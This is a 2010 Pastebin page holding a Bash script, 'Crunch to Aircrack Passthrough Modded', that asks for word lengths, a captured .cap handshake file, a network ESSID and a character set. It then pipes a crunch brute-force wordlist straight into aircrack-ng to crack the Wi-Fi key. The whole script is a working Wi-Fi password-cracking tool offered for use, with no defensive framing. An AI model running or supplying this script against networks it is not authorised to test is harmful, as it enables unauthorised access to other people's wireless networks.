Pastebin launched a little side project called HostCabi.net, check it out ;-)Pastebin is 300% more awesome when you are logged in. Sign Up, it's FREE!
Guest

Crunch to Aircrack Passthrough Modded

By: a guest on Oct 27th, 2010  |  syntax: Bash  |  size: 4.44 KB  |  hits: 137  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/bin/bash
  2.  
  3. #-- Variables -----------------------------------------------------------------------------------------------------------
  4. crunch="/pentest/passwords/crunch/./crunch";            # location of crunch program
  5. mchars="/pentest/passwords/crunch/charset.lst"; # location of master charset.lst
  6. revision="2.0"
  7.  
  8.  
  9. info () {
  10.     clear
  11.     echo -e " Crunch to Aircrack Passthrough "
  12.     echo -e " Based on script by derv "
  13.     echo -e " Crunch rev: ${revision}"
  14.     echo -e ""
  15. }
  16.  
  17. info
  18.  
  19. menu () {
  20.     info
  21.     echo -e ""
  22.     echo -e " Enter the minimum word length "
  23.     echo -e ""
  24.     read min
  25.     echo -e ""
  26.     echo -e " Enter the maximum word length "
  27.     echo -e ""
  28.     read max
  29.     echo -e ""
  30.     echo -e " Enter .cap file "
  31.     echo -e ""
  32.     read cap
  33.     echo -e ""
  34.     echo -e " Enter ESSID name "
  35.     echo -e ""
  36.     read essid
  37.     echo -e ""
  38.     echo -e " Select from the charset "
  39.     echo -e " (a) hex-lower "
  40.     echo -e " (b) hex-upper "
  41.     echo -e " (c) numeric "
  42.     echo -e " (d) numeric-space "
  43.     echo -e " (e) symbols14 "
  44.     echo -e " (f) symbols14-space "
  45.     echo -e " (g) symbols-all "
  46.     echo -e " (h) symbols-all-space "
  47.     echo -e " (i) ualpha "
  48.     echo -e " (j) ualpha-space "
  49.     echo -e " (k) ualpha-numeric "
  50.     echo -e " (l) ualpha-numeric-space "
  51.     echo -e " (m) ualpha-numeric-symbol14 "
  52.     echo -e " (n) ualpha-numeric-symbol14-space "
  53.     echo -e " (o) ualpha-numeric-all "
  54.     echo -e " (p) ualpha-numeric-all-space "
  55.     echo -e " (q) lalpha "
  56.     echo -e " (r) lalpha-space "
  57.     echo -e " (s) lalpha-numeric "
  58.     echo -e " (t) lalpha-numeric-space "
  59.     echo -e " (u) lalpha-numeric-symbol14 "
  60.     echo -e " (v) lalpha-numeric-symbol14-space "
  61.     echo -e " (w) lalpha-numeric-all "
  62.     echo -e " (x) lalpha-numeric-all-space "
  63.     echo -e " (y) mixalpha "
  64.     echo -e " (z) mixalpha-space "
  65.     echo -e " (1) mixalpha-numeric "
  66.     echo -e " (2) mixalpha-numeric-space "
  67.     echo -e " (3) mixalpha-numeric-symbol14 "
  68.     echo -e " (4) mixalpha-numeric-symbol14-space "
  69.     echo -e " (5) mixalpha-numeric-all "
  70.     echo -e " (6) mixalpha-numeric-all-space "
  71.     echo -e ""
  72.     read selection
  73.     echo -e ""
  74.  
  75.     case "$selection" in
  76.         "a" | "A" )
  77.         chars='hex-lower'
  78.         ;;
  79.         "b" | "B" )
  80.         chars='hex-upper'
  81.         ;;
  82.         "c" | "C" )
  83.         chars='numeric'
  84.         ;;
  85.         "d" | "D" )
  86.         chars='numeric-space'
  87.         ;;
  88.         "e" | "E" )
  89.         chars='symbols14'
  90.         ;;
  91.         "f" | "F" )
  92.         chars='symbols14-space'
  93.         ;;
  94.         "g" | "G" )
  95.         chars='symbols-all'
  96.         ;;
  97.         "h" | "H" )
  98.         chars='symbols-all-space'
  99.         ;;
  100.         "i" | "I" )
  101.         chars='ualpha'
  102.         ;;
  103.         "j" | "J" )
  104.         chars='ualpha-space'
  105.         ;;
  106.         "k" | "K" )
  107.         chars='ualpha-numeric'
  108.         ;;
  109.         "l" | "L" )
  110.         chars='ualpha-numeric-space'
  111.         ;;
  112.         "m" | "M" )
  113.         chars='ualpha-numeric-symbol14'
  114.         ;;
  115.         "n" | "N" )
  116.         chars='ualpha-numeric-symbol14-space'
  117.         ;;
  118.         "o" | "O" )
  119.         chars='ualpha-numeric-all'
  120.         ;;
  121.         "p" | "P" )
  122.         chars='ualpha-numeric-all-space'
  123.         ;;
  124.         "q" | "Q" )
  125.         chars='lalpha'
  126.         ;;
  127.         "r" | "R" )
  128.         chars='lalpha-space'
  129.         ;;
  130.         "s" | "S" )
  131.         chars='lalpha-numeric'
  132.         ;;
  133.         "t" | "T" )
  134.         chars='lalpha-numeric-space'
  135.         ;;
  136.         "u" | "U" )
  137.         chars='lalpha-numeric-symbol14'
  138.         ;;
  139.         "v" | "V" )
  140.         chars='lalpha-numeric-symbol14-space'
  141.         ;;
  142.         "w" | "W" )
  143.         chars='lalpha-numeric-all'
  144.         ;;
  145.         "x" | "X" )
  146.         chars='lalpha-numeric-all-space'
  147.         ;;
  148.         "y" | "Y" )
  149.         chars='mixalpha'
  150.         ;;
  151.         "z" | "Z" )
  152.         chars='mixalpha-space'
  153.         ;;
  154.         "1" )
  155.         chars='mixalpha-numeric'
  156.         ;;
  157.         "2" )
  158.         chars='mixalpha-numeric-space'
  159.         ;;
  160.         "3" )
  161.         chars='mixalpha-numeric-symbol14'
  162.         ;;
  163.         "4" )
  164.         chars='mixalpha-numeric-symbol14-space'
  165.         ;;
  166.         "5" )
  167.         chars='mixalpha-numeric-all'
  168.         ;;
  169.         "6" )
  170.         chars='mixalpha-numeric-all-space'
  171.         ;;
  172.     esac
  173. }
  174.  
  175. menu
  176. ${crunch} ${min} ${max} -f ${mchars} ${chars} | aircrack-ng -w - -e ${essid} -0 ${cap}.cap
  177. #${crunch} ${min} ${max} -f ${mchars} ${chars}